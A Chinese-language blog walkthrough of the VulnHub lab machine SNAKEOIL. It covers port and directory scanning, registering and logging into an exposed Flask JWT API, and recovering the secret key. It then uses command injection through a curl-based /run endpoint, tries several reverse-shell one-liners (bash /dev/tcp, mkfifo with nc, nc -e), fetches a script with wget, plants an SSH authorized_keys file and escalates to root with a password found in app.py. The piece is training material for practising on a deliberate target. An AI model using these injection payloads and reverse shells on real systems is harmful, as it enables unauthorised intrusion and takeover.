vulnhub靶场之DIGITALWORLD.LOCAL: SNAKEOIL
准备:
攻击机:虚拟机kali、本机win10。
靶机:DIGITALWORLD.LOCAL: SNAKEOIL,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/digitalworld/SNAKEOIL.7z,下载后直接vbox打开即可。
知识点:命令执行、私匙制作和登录(ssh-keygen)、bp的使用。

信息收集:
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.16.110.0/24,获得靶机地址:192.168.110.180。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.110.180,显示开放了22、80、8080端口,开启了ssh、http服务。

访问下80和8080端口,在8080端口的Useful Links下发现了一个网站:https://flask-jwt-extended.readthedocs.io/en/stable/options/,主要和flask-jw的配置有关。

使用dirsearch对8080端口进行目录扫描(80未发现有用信息),命令:python dirsearch.py -u http://192.168.110.180:8080 -e * -w D:\soft\seep\dirsearch\db\dicc.txt,发现/users、/test、/secret等目录信息。

对扫描出来的目录进行访问测试,发现在访问:http://192.168.110.180:8080/users时返回了users的账户和密码信息,访问:http://192.168.110.180:8080/registration时显示方法错误,那就使用bp抓包修改下请求方式。


BP修改数据包:
访问:http://192.168.110.180:8080/registration使用bp进行抓包并修改请求方式,进行模拟提交查看返回的数据,返回:Username field cannot be blank。

那就添加用户名信息:username=upfine,但是告诉我们password也不能是空,那就写入密码进行注入,最后注册成功:upfine/123。


使用注册的账户名和密码:upfine/123进行登录,访问:http://192.168.110.180:8080/login,返回信息:The method is not allowed for the requested URL,那就修改下请求方法为post,成功获得access_token和refresh_token。

{"message": "Logged in as upfine",
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY2OTAzMzAzNywianRpIjoiOGMwYzgxMTEtMTc3YS00YjgwLTk4NDItOWQxMGEyNDAwMGRiIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InVwZmluZSIsIm5iZiI6MTY2OTAzMzAzNywiZXhwIjoxNjY5MDMzOTM3fQ.923Y782zfLKCZIjy7LB_MVP0gJNFZHCf5eTgW6eRrNc",
"refresh_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY2OTAzMzAzNywianRpIjoiNzlkOTRkYTUtNGJmMS00YzA2LThjNjktMGU5ODVjYTIxNzEzIiwidHlwZSI6InJlZnJlc2giLCJzdWIiOiJ1cGZpbmUiLCJuYmYiOjE2NjkwMzMwMzcsImV4cCI6MTY2OTAzNjYzN30.kljPY4fWlHEZ-h31kvQabGmkTnBljOTo47dvbLUiLzw"}
访问:http://192.168.110.180:8080/run,返回信息告诉我们需要输入参数url,输入url之后进行请求,返回信息告诉我么需要提交secret_key。输入参数注意其输入格式,可以看出和json格式类似。


访问/serect返回:Internal Server Error,在开始发现的jwt配置网站:https://flask-jwt-extended.readthedocs.io/en/stable/options/,查找关于登陆成功时返回的access_token的信息,找到携带身份认证信息的键值名称:access_token_cookie,输入cookie信息,成功获取到secret_key:commandexecutionissecret。

利用获取到的secret_key:commandexecutionissecret,返回到http://192.168.110.180:8080/run的数据包并输入secret_key:commandexecutionissecret进行请求访问,返回信息疑似命令执行的结果,输入;查看下进行命令执行的命令,发现是curl命令。


查看下curl的命令使用方法,发现curl -V时会返回版本信息并且退出curl命令,这时候我们利用&&来执行我们要执行的命令,如:id、ls。


获取shell:
通过三种shell反弹方式进行反弹,均是反弹失败,返回:Banned command。
bash -c 'bash -i >& /dev/tcp/192.168.110.180/6688 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.110.180 6688 >/tmp/f
nc -e /bin/bash 192.168.110.180 6688

在kali中开启一个简易的web服务:python3 -m http.server 8000,编写一个shell反弹脚本上传到靶机中,命令:-V&&wget http://192.168.110.178:8000/shell.sh -o shell.sh;,kali端开启对6688端口的监听:nc -lvvp 6688,然后对靶机中的shell.sh脚本赋予执行权限:chmod +x shell.sh,然后执行,失败无法反弹shell。


制作ssh私匙登录:
使用ssh-keygen制作私匙文件并将文件复制到python开启的http服务中,然后修改文件名字为:authorized_keys。


通过命令执行漏洞上传私匙文件,命令:http://192.168.110.178:8800/authorized_keys -O 127.0.0.1;。

在靶机上查看authorized_keys 以确认是否上传成功(命令:-V&&ls -l;),然后并将该文件移动到/home/patrick/.ssh/目录下,命令:-V&&mv authorized_keys /home/patrick/.ssh/;,然后查看.ssh目录是否存在该文件。


使用ssh登录成功获得shell权限,命令:ssh patrick@192.168.110.180 -i ~/.ssh/upfine,这里的密码是制作私匙时输入的密码。

在本地目录下发现local.txt文件并进行访问,成功获取到第一个flag信息。

提权:
查看下当前账户是否存在可以使用的特权命令,sudo -l,显示只有shutdown才可以不需要root命令执行。

最后一番查找在flask_blog目录下的app.py文件中发现了隐藏的密码:NOreasonableDOUBTthisPASSWORDisGOOD。

使用发现的密码切换成root账户:sudo su,在/root文件夹下发现proof.txt文件并读取flag信息。

vulnhub靶场之DIGITALWORLD.LOCAL: SNAKEOIL的更多相关文章
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
- VulnHub靶场学习_HA:Forensics
HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...
- Vulnhub靶场——DC-1
记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...
随机推荐
- SpringBoot_事务总结
Springboot 事务 1. 打印SQL 日志的两种配置方式 [1]通过配置包的log等级来打印SQL日志,但这种不会打印出事务日志 logging.level.com.grady.mybatis ...
- python的环境,你再也不用愁-conda
Conda Guide Conda简介 conda是一个包,依赖和环境管理工具,适用于多种语言,如: Python, R, Scala, Java, Javascript, C/ C++, FORTR ...
- 采云端&采云链:从订单协同到采购供应链,让采购供应链互联互通
采购供应链安全从来没有像现在这样显得如此重要和紧迫,也从来没有像现在这样复杂和敏感,对企业的经营产生决定性的影响.尤其在疫情期间,采购供应链更加牵一发而动全身,成为"运筹帷幄,决胜于千里之外 ...
- [Python]-pandas模块-机器学习Python入门《Python机器学习手册》-02-加载数据:加载文件
<Python机器学习手册--从数据预处理到深度学习> 这本书类似于工具书或者字典,对于python具体代码的调用和使用场景写的很清楚,感觉虽然是工具书,但是对照着做一遍应该可以对机器学习 ...
- 工程课Linux第一节笔记
上课笔记 文件系统结构 /根目录 /bin/ 存放系统命令,普通用户与root都可以执行 /etc/ 配置文件保存位置 /lib/ 系统调用的函数库保存位置 /var/ 目录用于存储动态数据,例如缓存 ...
- 使用logstash读取MySQL数据传输到es,并且@timestamp字段采用MySQL中的字段时间--建议采用这个
MySQL中数据样式 ES中数据样式 input { jdbc { jdbc_connection_string => "jdbc:mysql://192.168.0.145:3306 ...
- RDS MySQL内存管理
官方文档地址:https://help.aliyun.com/product/26090.html?spm=5176.7920929.1290474.7.2c6f4f7bACaToi 官方文档地址:h ...
- 初试 Prometheus + Grafana 监控系统搭建并监控 Mysql
转载自:https://cloud.tencent.com/developer/article/1433280 文章目录1.Prometheus & Grafana 介绍1.1.Prometh ...
- 老杜MySql——34道作业题
老杜MySql链接:https://www.bilibili.com/video/BV1Vy4y1z7EX?p=132 本次随笔主要来源于老杜MySql讲解视频后面的作业题,加上个人的一些理解,以及整 ...
- TDengine的数据建模?库、表、超级表是什么?怎么用?
欢迎来到物联网的数据世界 在典型的物联网场景中,一般有多种不同类型的采集设备,采集多种不同的物理量,同一种采集设备类型,往往有多个设备分布在不同的地点,系统需对各种采集的数据汇总,进行计算和分析对于 ...